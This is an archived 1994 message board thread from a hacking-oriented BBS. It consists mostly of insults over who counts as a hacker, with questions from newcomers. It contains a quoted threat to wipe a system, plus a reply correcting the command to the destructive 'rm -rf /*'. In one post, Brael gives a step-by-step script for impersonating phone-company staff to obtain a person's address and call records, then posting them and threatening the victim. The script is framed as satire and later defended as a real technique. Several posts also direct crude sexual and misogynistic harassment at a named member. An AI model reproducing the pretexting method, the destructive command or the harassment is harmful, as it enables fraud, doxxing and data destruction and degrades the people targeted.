From: rattler@yabbs
To: cosmos@yabbs
Subject: re: Sorry
Date: Thu Aug 11 07:52:00 1994
In message re: Sorry, cosmos said:
> The correct way to ask a question my young friend is "What is".
>
> Anyhow, ISC is Interactive UNIX from Sunsoft. If I remember correctly a
> Sys V 3 clone from Sun before the advent of their latest flop Solaris.
>
> Cosmos
>
From htoaster@yabbs Thu Aug 11 12:45:27 1994
From: htoaster@yabbs
To: Death@yabbs
Subject: re: *sigh*
Date: Thu Aug 11 12:45:27 1994
In message *sigh*, Death said:
> Ah well... I was going to give an example of how this base could be used
> to learn, but it seems that you've deleted all of the old messages *sigh*
> oh well... That's life I s'pose.
> (Besides, all the flames are entertaining)
well, there are still one years worth of messages there. yabbs hasn't been
able to delete messages since the client server version (due to the new
message format), and the server client version has been running almost one
year...(sept 1st as i recall)...
i guess i wouldn't find it that hard to beleive that nothing interesting has
been posted for one year though...
alex
From Typhon@yabbs Thu Aug 11 12:49:19 1994
From: Typhon@yabbs
To: Natalie@yabbs
Subject: re: My Name
Date: Thu Aug 11 12:49:19 1994
Yoiu are many things.
(Does this count as hitting on you?)
Typhon the Usurper
From Typhon@yabbs Thu Aug 11 12:50:01 1994
From: Typhon@yabbs
To: -DuCK-@yabbs
Subject: re: Sorry
Date: Thu Aug 11 12:50:01 1994
We need more intelligent people in EVERY age bracket
Typhon the Usurper
From GPF@yabbs Thu Aug 11 13:01:00 1994
From: GPF@yabbs
To: Death@yabbs
Subject: re: *sigh*
Date: Thu Aug 11 13:01:00 1994
In message *sigh*, Death said:
> Ah well... I was going to give an example of how this base could be used
> to learn, but it seems that you've deleted all of the old messages *sigh*
> oh well... That's life I s'pose.
> (Besides, all the flames are entertaining)
>
> --Death
instead of just bitching how about starting a new thread?
From Natalie@yabbs Thu Aug 11 15:56:03 1994
From: Natalie@yabbs
To: Typhon@yabbs
Subject: re: My Name
Date: Thu Aug 11 15:56:03 1994
heehee.
i dunno. ask drew.
natalie
:)
From balistic@yabbs Thu Aug 11 16:55:18 1994
From: balistic@yabbs
To: Famine@yabbs
Subject: re: hmmm...
Date: Thu Aug 11 16:55:18 1994
and whether it's internal or external :)
From balistic@yabbs Thu Aug 11 16:56:42 1994
From: balistic@yabbs
To: Typhon@yabbs
Subject: re: Sorry
Date: Thu Aug 11 16:56:42 1994
:)
From brael@yabbs Thu Aug 11 17:24:12 1994
From: brael@yabbs
To: Death@yabbs
Subject: re: *sigh*
Date: Thu Aug 11 17:24:12 1994
come death, teach us somethin will ya.. enuf bitchin, bring it on
n e thing.. dont matter what..
brael@crl.com
From brael@yabbs Thu Aug 11 17:27:17 1994
From: brael@yabbs
To: Typhon@yabbs
Subject: re: Sorry
Date: Thu Aug 11 17:27:17 1994
mayB but we sure as hell need less Usurper's in EVERY age bracket..
Usurpers have gots 2 roll on..
brael
From -DuCK-@yabbs Thu Aug 11 20:56:44 1994
From: -DuCK-@yabbs
To: Typhon@yabbs
Subject: re: Sorry
Date: Thu Aug 11 20:56:44 1994
hehe
i agree
From Xela@yabbs Thu Aug 11 23:53:47 1994
From: Xela@yabbs
To: GPF@yabbs
Subject: maybe not
Date: Thu Aug 11 23:53:47 1994
"stick to anarchy, you don't make yourself look like an ass there..."
Guess again, GPF. Arachnoying makes himself look like an ass everywhere,
especially anarchy.
X
From Typhon@yabbs Fri Aug 12 08:44:37 1994
From: Typhon@yabbs
To: all@yabbs
Subject: Usurpers
Date: Fri Aug 12 08:44:37 1994
If there were more Usurpers, there'd be less deadwood...
Not a bad thing. (Of course, lo who is talking.)
Typhon the Usurper
From A.x.E.@yabbs Fri Aug 12 12:57:03 1994
From: A.x.E.@yabbs
To: all@yabbs
Subject: ???
Date: Fri Aug 12 12:57:03 1994
Isn't there this slight problem with the publicity of this? What if
someone wanted to ask some real q*ues+ktions, that couldn't be asked here?
Sorry to sound so neophytish... I'm a newcomer...
From htoaster@yabbs Fri Aug 12 13:02:49 1994
From: htoaster@yabbs
To: A.x.E.@yabbs
Subject: re: ???
Date: Fri Aug 12 13:02:49 1994
In message ???, A.x.E. said:
> Isn't there this slight problem with the publicity of this? What if
> someone wanted to ask some real q*ues+ktions, that couldn't be asked here?
> Sorry to sound so neophytish... I'm a newcomer...
it depends on what you consider a real question...asking something like
"so what is the real bug in that last cert report" is fine, asking something
like "hey d00d, where i do i get the latest |<-rAd elite warez and codes"
isn't...
the first isn't illegal because it doesn't break anyones personal security
or infringe on their rights. using it may be, but the information itself
isn't.
alex
From robtelee@yabbs Fri Aug 12 19:37:31 1994
From: robtelee@yabbs
To: A.x.E.@yabbs
Subject: re: ???
Date: Fri Aug 12 19:37:31 1994
For true conficetiality, take it to e-mail. Htoaster DOES NOT allow
illegal activity to take place on here. It preserves the integrity of the
sys.
From Skywise@yabbs Sat Aug 13 11:59:59 1994
From: Skywise@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 11:59:59 1994
arachnoi spurted:
I have held and repelled the barbarians at the gateway
blah. GATEWAYS are easy pickins...I heard you can just hold down the
insert button when they boot to reset the bios defaults.
From GPF@yabbs Sat Aug 13 12:10:36 1994
From: GPF@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 12:10:36 1994
In message re: gpf another yalk HO?, arachnoi said:
> Hahahahaha, aren't U and GPF embarresed that u don't know what a Teletype
we don't? perhaps we haven't spent time looking up the names of teletypes
in our big books of computer trivia, but i fail to see how that would
indicate that we don't know what a teletype is
> is? I didn't ask the question to pull from my years of trivia, but to
your years of trivia eh? you mean your years of memorizing text files?
somehow i'm not suprised....
> point out that u can't HACK if u don't know what's out there. Otherwise u
> end up like GPF, running scripts and not knowing much else. Get the point
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah
okokok i only have 99 lines
> Cosmos? BTW daniel I have had and repelled the barbarians at the gateway
> :)
yeah, i'll bet you have.... by your statements you sound like nothing more
than a ridiculous little 3l33t bbs shit who thinks that the key to hacking
is memorizing useless, trivial (no pun intended), and outdated information.
reciting net.trivia is one thing, hacking is another, and your failure to
grasp that fact indicates to me that you're full of shit.
From dmonger@yabbs Sat Aug 13 12:52:35 1994
From: dmonger@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 12:52:35 1994
In message re: gpf another yalk HO?, arachnoi said:
> Hahahahaha, aren't U and GPF embarresed that u don't know what a Teletype
> is?
sure, whatever.
> I didn't ask the question to pull from my years of trivia, but to
> point out that u can't HACK if u don't know what's out there.
oh of course, silly me. My point was that you should learn what's out there
by exploring and not by just reading phrack and alt.2600
> Otherwise u
> end up like GPF, running scripts and not knowing much else.
hmmm, tough choice ... memorize silly acronyms so i can sound cool to my
loozer |-|/\|<3R friends, or learn some useful things on my own and write
bots to annoy people
you make the call
-peter
From GPF@yabbs Sat Aug 13 13:22:20 1994
From: GPF@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 13:22:20 1994
In message re: gpf another yalk HO?, arachnoi said:
> Well u have proved your point GPF. You don't know much, your just another
> yalk whore.
oh now he's calling names again, tsk tsk.... much as i suspected, just another
junior high school suburban kid playing hacker in an attempt to be a rebel.
From GPF@yabbs Sat Aug 13 13:25:39 1994
From: GPF@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 13:25:39 1994
In message re: gpf another yalk HO?, arachnoi said:
> Hey that was my Gateway u just hacked :)
again, you demonstrate your ignorance by misusing words, the proper word
here is "cracked"... you demonstrate again that you are nothing more than
a child playing hacker after he heard about on tv.
........gpf........
he who finds this all quite amusing.
From Xela@yabbs Sat Aug 13 14:15:05 1994
From: Xela@yabbs
To: arachnoi@yabbs
Subject: re: maybe not
Date: Sat Aug 13 14:15:05 1994
"U are the least qualified around here."
Which is why I don't make a habit of posting here. I read, if something
interests me.
The only reason I posted was because you're trying to find greener
pastures now that noone has any respect for you over in anarchy. Get
real, los3r.
X
From cosmos@yabbs Sat Aug 13 15:39:38 1994
From: cosmos@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 15:39:38 1994
Is anyone else amused?? I sure am....
Cosmos
From dmonger@yabbs Sat Aug 13 15:45:48 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 15:45:48 1994
actually i'm rather sick of it.
they never listen
-peter
From htoaster@yabbs Sat Aug 13 16:09:57 1994
From: htoaster@yabbs
To: robtelee@yabbs
Subject: re: ???
Date: Sat Aug 13 16:09:57 1994
In message re: ???, robtelee said:
> For true conficetiality, take it to e-mail.
this doesn't mean email on yabbs either. i don't allow encrypted messages
or illegal matter to go on in email...i do read messages...
alex
From Natalie@yabbs Sat Aug 13 16:12:24 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 16:12:24 1994
heehee...just go and read anarchy sometime cos...then you'll be REALLY
amused by spider boy....
natalie
From Deluge@yabbs Sat Aug 13 16:18:21 1994
From: Deluge@yabbs
To: GPF@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 16:18:21 1994
Sounds like spiderman watched Wargames a few too many times.
Da'Luge
From Justbob@yabbs Sat Aug 13 16:52:35 1994
From: Justbob@yabbs
To: dmonger@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 16:52:35 1994
>hmmm, tough choice ... memorize silly acronyms so i can sound cool to my
>loozer |-|/\|<3R friends, or learn some useful things on my own and write
>bots to annoy people
>
>
>you make the call
- screams fromn the stands*
TAKE DOOR NUMBER THREE!!
er...uh...I mean the bot!
From -DuCK-@yabbs Sat Aug 13 18:06:05 1994
From: -DuCK-@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 18:06:05 1994
i am
like you care though
From brael@yabbs Sat Aug 13 18:55:05 1994
From: brael@yabbs
To: -DuCK-@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 18:55:05 1994
htoaster was sayin it was illegal to post internet outdials a few back..
its perfectly legal as long as the modems r configured for local calls and
there isn't an unauthorized access is prohibited message upon login..
with that in mind can some1 kickdown a 602 and 212 od?. i have
all the od's from BlackAdders file which ill post on request..
From -DuCK-@yabbs Sat Aug 13 19:25:01 1994
From: -DuCK-@yabbs
To: brael@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 19:25:01 1994
> htoaster was sayin it was illegal to post internet outdials a few
> back.. its perfectly legal as long as the modems r configured for
> local calls and there isn't an unauthorized access is prohibited
> message upon login.. with that in mind can some1 kickdown a 602
> and 212 od?. i have all the od's from BlackAdders file which ill
> post on request..
why the hell would i care?
Did i post dialouts? I don't remember doing it, i don't believe i did..
So, please, don't accuse me of participating in such practices.. hehe
oh, well, whatever.. i'm not gonna post them anywayz, so, bye
From htoaster@yabbs Sat Aug 13 19:56:30 1994
From: htoaster@yabbs
To: brael@yabbs
Subject: re: gpf another yalk HO?
Date: Sat Aug 13 19:56:30 1994
In message re: gpf another yalk HO?, brael said:
> htoaster was sayin it was illegal to post internet outdials a few back..
> its perfectly legal as long as the modems r configured for local calls and
> there isn't an unauthorized access is prohibited message upon login..
> with that in mind can some1 kickdown a 602 and 212 od?. i have
> all the od's from BlackAdders file which ill post on request..
in my mind unless a machine explicitly states that anyone is welcome to use it
(like yabbs) it should be considered private...
alex
From GPF@yabbs Sun Aug 14 02:29:45 1994
From: GPF@yabbs
To: all@yabbs
Subject: this is just too much!
Date: Sun Aug 14 02:29:45 1994
i received the following mail from page today, who has been using the smtp
port to send me irritating mail, and is apparently also under the delusion
that he is a hacker, i found this message to be so amusing that i thought
i'd post it for the rest of you to get a good laugh at :)
----------------
Date: Sun, 14 Aug 94 00:12 EDT
Subject: I am gonna crash yer system d00d
You think you are hot shit GPF??? Well times a coming to you pal.
I am the best haqer alive and you and your shitty hordes cannot stop me!
Beware, I will hack your system and rm -RF * the whole damn drive lamer!
A real hacker on yabbs
----------------
and no, i suppose he isn't aware that unix is case sensitive, oh well...
From Montie@yabbs Sun Aug 14 03:12:41 1994
From: Montie@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Sun Aug 14 03:12:41 1994
I am extremely amused
Montie
From BLynch@yabbs Sun Aug 14 03:15:57 1994
From: BLynch@yabbs
To: htoaster@yabbs
Subject: re: ???
Date: Sun Aug 14 03:15:57 1994
uh...naw, it's not 'cryption, but man this line noise really sucks!
hehehe. later.
From Quetzal@yabbs Sun Aug 14 12:14:31 1994
From: Quetzal@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Sun Aug 14 12:14:31 1994
I thought we were done with this HOLY WAR!
This area reminds me of the bud lite commercial:
Taste Great /Less filling
I'm a hacker/You are not a hacker
From cosmos@yabbs Sun Aug 14 16:39:45 1994
From: cosmos@yabbs
To: Quetzal@yabbs
Subject: re: gpf another yalk HO?
Date: Sun Aug 14 16:39:45 1994
In message re: gpf another yalk HO?, Quetzal said:
> I thought we were done with this HOLY WAR!
> This area reminds me of the bud lite commercial:
> Taste Great /Less filling
> I'm a hacker/You are not a hacker
Then why are you addressing this shit to me?? I aint said jack about the
recent posts mate. I am amused. That is all.
Cosmos
From Quetzal@yabbs Sun Aug 14 18:46:36 1994
From: Quetzal@yabbs
To: cosmos@yabbs
Subject: re: gpf another yalk HO?
Date: Sun Aug 14 18:46:36 1994
SORRY Cosmos... just got caught up in the vicious circle :)
Quetzal
From cortex@yabbs Mon Aug 15 04:13:23 1994
From: cortex@yabbs
To: all@yabbs
Subject: re: gpf another yalk HO?
Date: Mon Aug 15 04:13:23 1994
private shmiveate, dont you ever wonder what there hiding behind the big
black curten of a password?
From cortex@yabbs Mon Aug 15 04:15:27 1994
From: cortex@yabbs
To: GPF@yabbs
Subject: re: this is just too much!
Date: Mon Aug 15 04:15:27 1994
he actualy said d00d? i havent seen that in a LONG time
i wonder how he actualy managed to get on internet? isnt there an idiot
passcheck or something?
From Famine@yabbs Mon Aug 15 04:59:50 1994
From: Famine@yabbs
To: GPF@yabbs
Subject: re: this is just too much!
Date: Mon Aug 15 04:59:50 1994
In message this is just too much!, GPF said:
> i received the following mail from page today, who has been using the smtp
> port to send me irritating mail, and is apparently also under the delusion
> that he is a hacker, i found this message to be so amusing that i thought
> i'd post it for the rest of you to get a good laugh at :)
>
-10/10 for lack of originality
>
> ----------------
> Date: Sun, 14 Aug 94 00:12 EDT
> Subject: I am gonna crash yer system d00d
>
> You think you are hot shit GPF??? Well times a coming to you pal.
> I am the best haqer alive and you and your shitty hordes cannot stop me!
>
> Beware, I will hack your system and rm -RF * the whole damn drive lamer!
>
> A real hacker on yabbs
>
> ----------------
>
> and no, i suppose he isn't aware that unix is case sensitive, oh well...
>
Yes important but I think the more important part if rm -rf /* after all
- will only zap current working down. I think any competent user would
know this and the case sensitivity of UNIX especially if they have logged in
in upper case.
I suppose the most important fact being only crackers call themselves hackers
Real Hackers are given this title by their peers.
Lets face facts cracking is sad and irresponsible it causes problems to
legitmate users of a system, such as the above rm would if the person that
attempted it knew anything worth knowing.
Famine(just hoping that this guy gets caught before he gets some sad
code like crack etc)
From Typhon@yabbs Mon Aug 15 13:25:00 1994
From: Typhon@yabbs
To: GPF@yabbs
Subject: re: this is just too much!
Date: Mon Aug 15 13:25:00 1994
You get the nicest mail, GPF...
Typhon the Execrable
From cortex@yabbs Mon Aug 15 18:22:47 1994
From: cortex@yabbs
To: Famine@yabbs
Subject: re: this is just too much!
Date: Mon Aug 15 18:22:47 1994
well i would just like to say its nice to have run into at least one
person who knows the difference between hackers and crackers
cortex
From Skywise@yabbs Tue Aug 16 13:25:54 1994
From: Skywise@yabbs
To: arachnoi@yabbs
Subject: re: gpf another yalk HO?
Date: Tue Aug 16 13:25:54 1994
y00 R @ /=R3ak 0f |\|@tUr3
From Skywise@yabbs Tue Aug 16 13:30:10 1994
From: Skywise@yabbs
To: cortex@yabbs
Subject: re: gpf another yalk HO?
Date: Tue Aug 16 13:30:10 1994
hehehe nice try bart
From bart@yabbs Tue Aug 16 14:07:04 1994
From: bart@yabbs
To: Skywise@yabbs
Subject: re: gpf another yalk HO?
Date: Tue Aug 16 14:07:04 1994
Skywise Fondled the Phollowing...
hehehe nice try bart
-----------------------
uhmm what?
Bart
From Optimus@yabbs Wed Aug 17 12:55:50 1994
From: Optimus@yabbs
To: all@yabbs
Subject: New
Date: Wed Aug 17 12:55:50 1994
I am a new to the internet and I was wandering were can I find
information on hacking, phreaking and all that good stuff. If someone can
tell me where to get started, it would help alot!!
From maedhros@yabbs Wed Aug 17 14:55:53 1994
From: maedhros@yabbs
To: Optimus@yabbs
Subject: re: New
Date: Wed Aug 17 14:55:53 1994
In message New, Optimus said:
> I am a new to the internet and I was wandering were can I find
> information on hacking, phreaking and all that good stuff. If someone can
> tell me where to get started, it would help alot!!
>
Start with some essential literature.
Get a copy of UNIX system V release 4 system administator's guide and
user's reference manual (assuming you're using UNIX, if not find another
source) by Prentice Hall. While you're at it grab some C manuals. Read,
read, read, read...
Now goto USENET and start reding comp.security, comp.admin and any other
comp. groups that float your boat. When the post start making sense and
you're actually following the discussion without looking everything up in
your trusty manuals...
come back and ask the question again. Seriously. This isn't a flame. If
you're new to the net, you wont be hacking anything but a manual.
Besides, if you read the manual first, you'll find the answers to most of
the questions you had in the first place.
Maedhros /\
/--\
/ \
P.S. I said watch USENET, not post to it. The quickest way to piss
everyone off is a newbie, who hasn't read the manual, asking silly questions.
From balistic@yabbs Wed Aug 17 15:33:29 1994
From: balistic@yabbs
To: Optimus@yabbs
Subject: re: New
Date: Wed Aug 17 15:33:29 1994
I could tell you but then I'd have to kill you . . .
balistic
From cosmos@yabbs Wed Aug 17 16:19:38 1994
From: cosmos@yabbs
To: Optimus@yabbs
Subject: re: New
Date: Wed Aug 17 16:19:38 1994
Standard Disclaimer: Large caliber handgun, close range.
Cosmos
From dmonger@yabbs Wed Aug 17 17:33:41 1994
From: dmonger@yabbs
To: maedhros@yabbs
Subject: re: New
Date: Wed Aug 17 17:33:41 1994
good answer
and one that didn't involve phrack or alt.2600 :)
-peter
From Typhon@yabbs Wed Aug 17 18:51:51 1994
From: Typhon@yabbs
To: cosmos@yabbs
Subject: re: New
Date: Wed Aug 17 18:51:51 1994
Why do you want him to use one one you?
Typhon the Acerbic
From cosmos@yabbs Wed Aug 17 22:47:29 1994
From: cosmos@yabbs
To: Typhon@yabbs
Subject: re: New
Date: Wed Aug 17 22:47:29 1994
In message re: New, Typhon said:
> Why do you want him to use one one you?
What??!!! Can't any of you stupid fucks speak english??? Is it that
fucking hard to write a grammaticaly correct sentence???
Christ...
Cosmos
From dmonger@yabbs Wed Aug 17 23:21:55 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: New
Date: Wed Aug 17 23:21:55 1994
In message re: New, cosmos said:
> What??!!! Can't any of you stupid fucks speak english??? Is it that
> fucking hard to write a grammaticaly correct sentence???
geeee, sohrey cozmoze, sume ov uhs computtr geex just cant tahk inglish
tu wel
-peter
From Xela@yabbs Thu Aug 18 01:36:48 1994
From: Xela@yabbs
To: Optimus@yabbs
Subject: re: New
Date: Thu Aug 18 01:36:48 1994
Ask cosmos. He always has a spare minute to help a new hacker/cracker on
his way in the world.
X
From Typhon@yabbs Thu Aug 18 08:56:45 1994
From: Typhon@yabbs
To: cosmos@yabbs
Subject: re: New
Date: Thu Aug 18 08:56:45 1994
As I've gramatically thrashed you before, gitmo, I'll let your massive
stockpile of ignorance go. (Can't even recgognize a damn typo, and calls
US stupid. Sheesh.)
Typhon The Placid
From Optimus@yabbs Thu Aug 18 09:45:29 1994
From: Optimus@yabbs
To: Xela@yabbs
Subject: re: New
Date: Thu Aug 18 09:45:29 1994
Is that true cosmos?? Do you help up and coming hackers get started??
From Natalie@yabbs Thu Aug 18 16:18:07 1994
From: Natalie@yabbs
To: Optimus@yabbs
Subject: re: New
Date: Thu Aug 18 16:18:07 1994
- waits for the inevitable advice*
natalie
From Xela@yabbs Fri Aug 19 01:28:02 1994
From: Xela@yabbs
To: Optimus@yabbs
Subject: Absoliutely...
Date: Fri Aug 19 01:28:02 1994
"Is that true cosmos?? Do you help up and coming hackers get started??"
Hey, like I said, ask him yourself. I'm sure he has plenty to tell you.
X
From brael@yabbs Fri Aug 19 06:39:02 1994
From: brael@yabbs
To: Optimus@yabbs
Subject: I wanna b a ubercrackerjack
Date: Fri Aug 19 06:39:02 1994
If u wanna be reel c00l.. this is what ya need to do buddy..
1) realize that all that matters in life is getting wares without
uploading or making any sacrifice on your part.
2) realize that in order to reach this goal you need to become a
computer terrorist capable of ph1lthy threats.
3) find the number of a fatty wAreZ BBS run by some local junior high
gimpstress.
4) call the CSSC (thats AT&T Customer Sales and Service Center)
which is @ 1-8oo-222-o3oo
5) say, "Hello there, this is John Draper here at SouthWestern
administrative offices and my supervisor seems to be having a bit of
trouble with RCAM this morning and we are looking to check the status
on an account..,now where did i put that, oh yes here it is, could u
do us a big favor and look up an account for us?"
after he/sh3 says yes push mute on your phone and yell "SucKahGEtsMILKED!"
7) release mute, regain your composure, and tell them the number to the
bbs
8) after they tell you that it's a live account ask for the address. and
if need be ask them to read off recent toll charges on the line.
9)call up WaRez b Us BBS and in the new user form state that ur a member
MoD/LoD/MoB/DoD and u need wares now.. be sure to post the sysops address
and post all the info you got on the individual after calling the numbers
you recieved after aquiring the recent toll charges. say its simple..
i want sysop access and total control and domination. if i dont get what
i want then i'll kill ur pets. im not going to upload anything, you were
put on this earth to serve me you lowly little simon and garfunkel fan u.
accept this state of domination and thrive in it child....
this is the ubercracker's 1st step to taking over the universe..
brael@crl.com
p.s.
WHEN IN FUCKING HELL IS ANYONE HERE GOING TO STOP THE GRAMMAR BITCHING
AND POST SOMETHING USEFUL!!.. the mindless banter has to go....
From Natalie@yabbs Fri Aug 19 07:53:08 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 07:53:08 1994
how lame. but then again, we should expect that from you, you warez baby
you. lame lame lame.
natalie
From Justbob@yabbs Fri Aug 19 17:04:14 1994
From: Justbob@yabbs
To: Natalie@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 17:04:14 1994
I thought it was good *teehee* improbable, but good :)
(Unless of course, any portion of that was intended seriously, in which
case it sucks :)
From Natalie@yabbs Fri Aug 19 17:08:46 1994
From: Natalie@yabbs
To: Justbob@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 17:08:46 1994
oh, have you been reading brael's other posts? *smirk* it's ok satire, but
kinda lame nonetheless.
natalie
From brael@yabbs Fri Aug 19 17:31:03 1994
From: brael@yabbs
To: Natalie@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 17:31:03 1994
Gee Natalie, I shoulda known you'd have the CSSC wired..:(
I was planning to post more on LAC's, PacBell's TAN network,
CHAPS, How to forward lines thru COSMOS/DMS-100's/1a's/C.O...
and possibly some other neet topics (all hidden by my slick doses
of satire so fools like you pass the messages by) but idiots like
you just make me say fuck it.
brael@crl.com
From brael@yabbs Fri Aug 19 17:33:36 1994
From: brael@yabbs
To: Natalie@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 17:33:36 1994
Natalie, you're a fucking freak. The only reason why anyone talks to
you is because you give every guy the impression that they can stick
their cock in you if they bow down to your bitchlike self.
how can you respect yourself you silly little girl?..
brael@crl.com
From cosmos@yabbs Fri Aug 19 17:42:36 1994
From: cosmos@yabbs
To: brael@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 17:42:36 1994
In message re: I wanna b a ubercrackerjack, brael said:
> Natalie, you're a fucking freak. The only reason why anyone talks to
> you is because you give every guy the impression that they can stick
> their cock in you if they bow down to your bitchlike self.
> how can you respect yourself you silly little girl?..
>
Actually, I talk to nat because she blows...but then again, she is the
hacker babe...
Cosmos
From Natalie@yabbs Fri Aug 19 18:36:23 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 18:36:23 1994
uh uh uh...never ever EVER call me an idiot. and i wouldn't exactly call
your satire slick. i thought it was rather lame. and stupid. but hey,
i'm just getting a degree in that kind of thing, so what the hell would i
know about something like satire or parody?
natalie
From Natalie@yabbs Fri Aug 19 18:40:00 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 18:40:00 1994
hmmm...a fucking freak eh? well, while i consider myself a freak, i don't
exactly run around and fuck every person that comes along. and, to be
quite frank, you don't know one damnedthing about me, so don't you ever
assume anything like that about me again.
natalie
who is tired of being told what she is by others
From Natalie@yabbs Fri Aug 19 18:40:40 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 18:40:40 1994
no cos, i really really suck. get it right, 'k? ;)
natalie
THE hacker babe
From brael@yabbs Fri Aug 19 20:55:11 1994
From: brael@yabbs
To: Natalie@yabbs
Subject: stupid idiot bitch.
Date: Fri Aug 19 20:55:11 1994
Where the hell do you get off on being so goddamn judgemental
Natalie?. Life is not about sitting on your little high horse
judging everything that crosses your path, you miss lots girl.
If you think my satire/parody post is so lame.. (and it may well be)
post your own satire you english major you, and show me up instead
of saying, ur lame ur lame ur lame.. so what if your a fucking english
major.. im a CSc major and i've been published/paid for
fiction/sci-fi/technical articles.. I bet you've never even sent out
a single query letter to a lit-mag/publishing house in your life..
im so sick of everyone being so judgemental.. Natalie, pull the 17inch
john holmes dildo out of ur asshole and take a breather..
I post a message trying to teach all you novices out there how to use
the CSSC to your advantage.. (besides heckling wareZ ppl it can be used to
identify scanned systems, doing investigative work, and can be manipulated
to erase all toll charges from a phone bill) and i get your ignorance
in my face.. you need a good slap in the face you fucking idiot bitch..
get a clue.
brael
From brael@yabbs Fri Aug 19 20:57:41 1994
From: brael@yabbs
To: Natalie@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 20:57:41 1994
- smirk*.. *smirk*.. *smirk*.. that's all you seem to do you
freak english major bitch.. i want to see some literary power
from ya .. stupid cute ass smirks don't cut it slut..
brael.
From robtelee@yabbs Fri Aug 19 21:14:07 1994
From: robtelee@yabbs
To: brael@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Fri Aug 19 21:14:07 1994
Lighten up asshole !
From Natalie@yabbs Fri Aug 19 21:15:12 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: re: stupid idiot bitch.
Date: Fri Aug 19 21:15:12 1994
hmmm...talk about being judgemental. take a look in the mirror, buddy.
and i don't think that being published counts so much as trying to make
your art as good as you possibly can. and no, i haven't sent my work out
yet because i'm still not satisfied with it. i have some pride in my
work.
and as to USING the CSSC to your advantage, I think it's a load of shit,
ok. i have never claimed to be a hacker. nor a phreaker. i don't
necessarily believe that the laws concerning computers and
telecommunications are right, but i have no need to break them either. i
try to live my whole life like that. if it doesn't bother me, i don't
bother it. it's called tolerance. look it up someday, you might learn
something
natalie
who is only intolerant of intolerance
From Natalie@yabbs Fri Aug 19 21:22:18 1994
From: Natalie@yabbs
To: brael@yabbs
Subject: read 'em and weep
Date: Fri Aug 19 21:22:18 1994
ok. you want literary power, you got it, buddy boy.
poem 1
Surrounded by a pale light, he came,
As she lay on the ground,
Lifting her up, he carried her to the sky,
Where she was with others
Pale strange wispy creatures
And she thought she would be...
The Sphinx looked down
Upon her tear streaked face
And he cried himself.
poem 2
I lay on the bed alone, and you joined me.
You slid your hand under the edge of my shirt,
Rested it on my stomach,
Gently kissed my neck,
And went to sleep.
I woke up in your arms and was happy.
poem 3
it infiltrates our lives
like a burrowing parasite
leeches off us sucking us of our life
a vampire
we feel the pull become addicted
and have to be pulled away
nothing can break this addiction
unless we want to and the treasures
it shows us are too many to
comprehend
deeper and deeper we go
the horror
the horror
into the abyss
dark dank and limitless
we are stripped of all but our souls
floating
disembodied
sparks of life
in the machine
i apologize for this being so darned off topic, but no one, and i mean NO
ONE (but myself) questions my literary talent and gets away with it.
natalie
From robtelee@yabbs Fri Aug 19 21:32:58 1994
From: robtelee@yabbs
To: Natalie@yabbs
Subject: re: read 'em and weep
Date: Fri Aug 19 21:32:58 1994
I GOT MSG # 1500 ! ! ! !
oops ! *regains his self control*
You tel him nat....If the idiot would botherreading in the poetry base he
could see that there is some talent in your blood for creativity.
Fuck 'em and feed 'em fish !
- apologizes for his lack of control*
robtelee
From Natalie@yabbs Fri Aug 19 21:53:01 1994
From: Natalie@yabbs
To: robtelee@yabbs
Subject: re: read 'em and weep
Date: Fri Aug 19 21:53:01 1994
i really don't want to fuck brael. i'm sure he's got a nasty disease of
some sort. and i like to remain disease free. just one of my many little
quirks.
natalie
